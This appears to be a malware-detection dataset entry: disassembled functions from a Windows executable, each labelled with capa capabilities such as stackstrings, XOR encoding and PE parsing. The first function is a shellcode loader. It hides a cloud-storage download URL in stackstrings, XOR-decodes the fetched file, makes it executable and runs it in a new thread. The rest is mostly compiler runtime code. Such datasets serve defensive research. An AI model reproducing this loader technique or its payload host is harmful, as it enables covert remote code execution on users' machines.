joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002ce0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov eax, 0x79
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x740068
mov dword [rbp - 0x55], 0x700074
mov dword [rbp - 0x51], 0x3a0073
mov dword [rbp - 0x4d], 0x2f002f
mov dword [rbp - 0x49], 0x610062
mov dword [rbp - 0x45], 0x640069
mov dword [rbp - 0x41], 0x310075
mov dword [rbp - 0x3d], 0x2d0032
mov dword [rbp - 0x39], 0x330031
mov dword [rbp - 0x35], 0x360032
mov dword [rbp - 0x31], 0x300031
mov dword [rbp - 0x2d], 0x300031
mov dword [rbp - 0x29], 0x380032
mov dword [rbp - 0x25], 0x63002e
mov dword [rbp - 0x21], 0x73006f
mov dword [rbp - 0x1d], 0x61002e
mov dword [rbp - 0x19], 0x2d0070
mov dword [rbp - 0x15], 0x6f0068
mov dword [rbp - 0x11], 0x67006e
mov dword [rbp - 0xd], 0x6f006b
mov dword [rbp - 9], 0x67006e
mov dword [rbp - 5], 0x6d002e
mov word [rbp - 1], ax
mov dword [rbp + 1], 0x630071
mov dword [rbp + 5], 0x6f006c
mov dword [rbp + 9], 0x640075
mov dword [rbp + 0xd], 0x63002e
mov dword [rbp + 0x11], 0x6d006f
mov dword [rbp + 0x15], 0x37002f
mov dword [rbp + 0x19], 0x2e0037
mov dword [rbp + 0x1d], 0x6e0070
mov dword [rbp + 0x21], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.1400027f0
test al, al
jne 0x140002e1d
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140002f32
call fcn.1400090c0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140002e3e
nop dword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140002e30
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.140002770
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov rdi, rax
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x506c6175
mov dword [rsp + 0x48], 0x65746f72
mov word [rbp - 0x7d], 0x7463
mov byte [rbp - 0x7b], r13b
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x79], 0x74696157
mov dword [rbp - 0x75], 0x53726f46
mov dword [rbp - 0x71], 0x6c676e69
mov dword [rbp - 0x6d], 0x6a624f65
mov dword [rbp - 0x69], 0x746365
call rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x79]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov r9, rdx
test edx, edx
je 0x140002f0b
mov rcx, rdi
nop dword [rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002f00
mov rcx, rdi
call fcn.140002c50
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x148]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400034f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x1400320a8]
lea rcx, [rsp + 0x30]
call fcn.140007d90
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.140007d90
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.140007d90
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x1400035a4
mov rcx, qword [rbx]
jmp 0x1400035a7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400035db
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x140003598
lea r9, [0x1400049a0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000ecc4
xor al, al
jmp 0x1400035f7
lea r9, [0x1400049a0]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.14000ecc4
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
Function at 0x140006e70
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x1400070a9
cmp byte [rcx + 0x89], 0
je 0x1400070a9
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000707d
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x140006f48
dec eax
jne 0x140007047
jmp 0x140006f4f
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x140006f9d
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.14000f2c0
cmp rbx, rax
jne 0x14000706d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x14000709b
test rbx, rbx
jne 0x140006f00
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x14000708e
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x140007081
cmp r9, rbx
jae 0x140006ff1
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.1400076a0
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x14000700e
test rbx, rbx
jne 0x140007017
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x140006eeb
test rbx, rbx
je 0x140006f00
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x140006eeb
sub eax, 2
je 0x140007060
cmp qword [rbp - 0x10], 0x10
jb 0x14000707d
mov rcx, qword [rbp - 0x28]
call fcn.14000f0a4
xor al, al
jmp 0x1400070ab
cmp qword [rbp - 0x10], 0x10
jb 0x1400070a9
mov rcx, qword [rbp - 0x28]
jmp 0x1400070a4
cmp qword [rbp - 0x10], 0x10
jb 0x14000707d
mov rcx, qword [rbp - 0x28]
call fcn.14000f0a4
xor al, al
jmp 0x1400070ab
lea rcx, str.string_too_long
call fcn.1400097d4
int3
lea rcx, str.string_too_long
call fcn.1400097d4
nop
cmp r9, 0x10
jb 0x1400070a9
mov rcx, r10
call fcn.14000f0a4
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x1400090c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x140017ccc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140017b3c

Function at 0x14001a697
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14003a950]
jne 0x14001079a
rol rcx, 0x10
test cx, 0xffff
jne 0x140010796
repz ret
ror rcx, 0x10
jmp 0x14001a5f0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14003d080]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14003d178]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001a675
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14003d080]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001a697
mov rax, qword [rsp + 0x88]
mov qword [0x14003d178], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14003d118], rax
mov rax, qword [0x14003d178]
mov qword [0x14003cff0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14003d100], rax
mov dword [0x14003cfe0], 0xc0000409
mov dword [0x14003cfe4], 1
mov rax, qword [0x14003a950]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14003a958]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14003d078], eax
mov ecx, 1
call fcn.14001f0e4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140030210]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003d078], 0
jne 0x14001a71e
mov ecx, 1
call fcn.14001f0e4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140026dc0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14003a950]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001733c
xor ebx, ebx
cmp qword [0x14003d648], rbx
mov rdi, rax
jne 0x140026ed3
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140026faa
lea rdx, [0x140031c18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140026faa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14003d648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14003d650], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14003d658], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14003d668], rax
test rax, rax
je 0x140026eca
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14003d660], rax
jmp 0x140026eda
mov rax, qword [0x14003d660]
jmp 0x140026ee1
mov rax, qword [0x14003d660]
mov r11, qword [0x14003d668]
cmp rax, rdi
je 0x140026f48
cmp r11, rdi
je 0x140026f48
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14003d668]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140026f48
test rax, rax
je 0x140026f48
call rsi
test rax, rax
je 0x140026f42
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140026f42
test byte [rsp + 0x40], 1
jne 0x140026f48
bts ebp, 0x15
jmp 0x140026f88
mov rcx, qword [0x14003d650]
cmp rcx, rdi
je 0x140026f88
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026f88
call rax
mov rbx, rax
test rax, rax
je 0x140026f88
mov rcx, qword [0x14003d658]
cmp rcx, rdi
je 0x140026f88
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026f88
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14003d648]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140026faa
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140026fac
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140010780
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005520]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005530]
mov dword [rax], 1
mov rax, qword [0x140005540]
mov dword [rax], 1
mov rax, qword [0x1400054b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005510]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400055f0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400055d0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140005470]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140005570]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140005580]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400054e0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140005560]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call dbg.__main
mov rax, qword [0x1400054f0]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call dbg.main
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140005580]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400055a0]
mov rcx, qword [0x140005590]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400055c0]
mov rcx, qword [0x1400055b0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001e70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x140002010
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001fb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f10
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002032
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002017
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001fae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001fc0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001fae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001f38
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400025c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x14000261c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002613
test eax, eax
jne 0x140002613
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400025f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002830
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002848
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002850
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002860
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400028ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400028a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400028af
add rax, 0x28
cmp rax, r9
jne 0x140002890
xor eax, eax
ret

Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002940
mov rdx, qword [0x1400054b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000292e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000292e
cmp word [rax + 0x18], 0x20b
jne 0x14000292e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002940
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002919
add rbx, 0x28
cmp rbx, rdi
je 0x140002940
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002910
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002950
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400054b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002970
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002978
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002970
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400029cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400029c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002970
add rax, 0x28
cmp rax, r9
jne 0x1400029b0
xor eax, eax
ret

Function at 0x1400029d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400054b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400029ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400029f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400029ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret